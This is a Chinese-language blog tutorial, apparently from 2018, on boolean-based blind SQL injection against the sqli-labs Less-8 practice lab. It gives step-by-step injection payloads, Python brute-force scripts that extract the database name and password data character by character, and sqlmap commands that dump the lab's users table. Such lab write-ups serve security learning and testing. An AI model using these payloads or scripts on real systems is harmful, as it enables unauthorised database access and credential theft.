布尔盲注的套路

2018/08/11 安全 sql注入 4894 words views

记录布尔盲注的套路以及通用的暴破脚本,这里通过一道题来看 — sqli-labs Less-8(布尔型单引号GET盲注)。

0x01 预备

1. 注入点判断

先进行一些尝试

id=1 ---> you are in~
id=1' ---> 什么都没有回显  
id=1'--+ ---> you are in~

you are in~ 相当于回显了 true
什么都没有回显 相当于回显了 false

2. 盲注中常用 MySQL 相关函数

length(str): 返回str字符串的长度。
substr(str, pos, len): 将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len): 跟上面的一样,截取字符串
ascii(str): 返回字符串str的最左面字符的ASCII代码值。
ord(str): 同上,返回ascii码
if(a,b,c): a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
select database() 查询数据库
ascii(substr((select database()),1,1)): 返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64: ascii大于64就返回true,if就返回1,否则返回0

常见的ASCII: A:65,Z:90 a:97,z:122, 0:48, 9:57

0x02 构造 Payload

1. 猜数据库长度

payload:

id=1' and length(database())=X --+
或
id=1' and length(database())>=X --+  (主要方便使用二分法,提升一下效率)
#encoding: utf-8
import requests
import string

rq = requests.session()

url = "http://192.168.1.102/sqli/Less-8/?id=1' and length(database())={} --+"

for i in range(30):
	payload = url.format(i)
	response = rq.get(payload)

	print payload
	if "You are in" in response.text:
		print i 
		break

2. 猜数据库名

payload:

id=1' and (ascii(substr((select database()),XX1,XX2)))=XX3 --+
或
id=1' and (ascii(substr((select database()),XX1,XX2)))>=XX3 --+  (主要方便使用二分法,提升一下效率)

XX1: 是数据库名称(字符串)不同的位置 1-8
XX2: 截取的字符长度 1
XX3: 截取的字符 ascii 码值
#encoding: utf-8
import requests
import string

rq = requests.session()

url = "http://192.168.1.102/sqli/Less-8/?id=1' and (ascii(substr((select database()),{},1)))={} --+"
s = string.digits + string.uppercase + string.lowercase


database = ""
database_len = 8
for i in range(1, database_len+1):
	for j in range(48, 123):
		payload = url.format(i, j)
		response = rq.get(payload)
		print payload
		if "You are in" in response.text:
			database += chr(j)
			print database
			break
print database

采用二分法提高下效率:

#encoding: utf-8
import requests
import string

rq = requests.session()

url = "http://192.168.1.102/sqli/Less-8/?id=1' and (ascii(substr((select database()),{},1)))>={} --+"
s = string.digits + string.uppercase + string.lowercase


database = ""
database_len = 8
for i in range(1, database_len+1):
	left = 48
	right = 122
	mid = (left + right) / 2
	while left < right-1:
		payload = url.format(i, mid)
		response = rq.get(payload)
		print payload
		if "You are in" in response.text:
			left = mid
		else:
			right = mid
		mid = (left + right) / 2
	database += chr(left)
	print database
print database

3.猜表的长度

payload:

id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit XX1,XX2)=XX3 --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量,从 0 开始,改变这里来求出所有表的长度
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 猜测的表的长度

脚本基本一样就不放了。

4. 猜表名

payload:

id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit XX1,XX2),XX3,XX4)))=XX5 --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 是表名称(字符串)不同的位置 
XX4: 截取的字符长度 1
XX5: 截取的字符 ascii 码值

脚本基本一样就不放了。

5.猜字段的长度

这跟前面猜表长度那里基本一样了

payload:

id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit XX1,XX2)=XX3 --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量,从 0 开始,改变这里来求出所有字段的长度
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 猜测的字段的长度

脚本基本一样就不放了。

6.猜字段名

这里跟前面猜表名那里基本一样

payload:

id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit XX1,XX2),XX3,XX4)))=XX5 --+

XX1: limit 第一个参数,指定第一个返回记录行的偏移量  2
XX2: limit 第二个参数,指定返回记录行的最大数目
XX3: 是字段名(字符串)不同的位置 
XX4: 截取的字符长度 1
XX5: 截取的字符 ascii 码值

脚本基本一样就不放了。

7. 猜目标数据的长度

通过之前我们知道了:

数据库 : security
表:users
目标字段: password (这里就暂且取一个目标字段作为例子)

还是跟之前的一样

payload:

id=1' and (select length(password) from users limit 0,1)=X --+

8. 猜目标数据

payload:

id=1' and (ascii(substr((select password from users limit 0,1),XX1,1)))=XX2 --+

XX1: 目标数据(字符串)每个字符的位置
XX2: 目标数据字符串中字符的 ascii 码值

至此一次布尔盲注就完成了。

0x03 使用工具

1. burpsuite

使用 burpsuite 来玩的话,跟暴破密码的路数基本一样,就不多说了。

2. sqlmap

step1: 暴出数据库名

python sqlmap.py -u http://192.168.1.102/sqli/Less-8/?id=1 --dbs

回显

available databases [6]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test

step2:暴出security数据库中的表名

python sqlmap.py -u http://192.168.1.102/sqli/Less-8/?id=1 --tables -D security

回显

Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

step3:暴出users表内容

python sqlmap.py -u http://192.168.1.102/sqli/Less-8/?id=1 --dump -D security -T users

回显

Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | Dumb     | Dumb       |
| 2  | Angelina | I-kill-you |
| 3  | Dummy    | p@ssword   |
| 4  | secure   | crappy     |
| 5  | stupid   | stupidity  |
| 6  | superman | genious    |
| 7  | batman   | mob!le     |
| 8  | admin    | admin      |
| 9  | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

上一篇: Git常用命令
下一篇: 时间盲注的套路

Search

    Table of Contents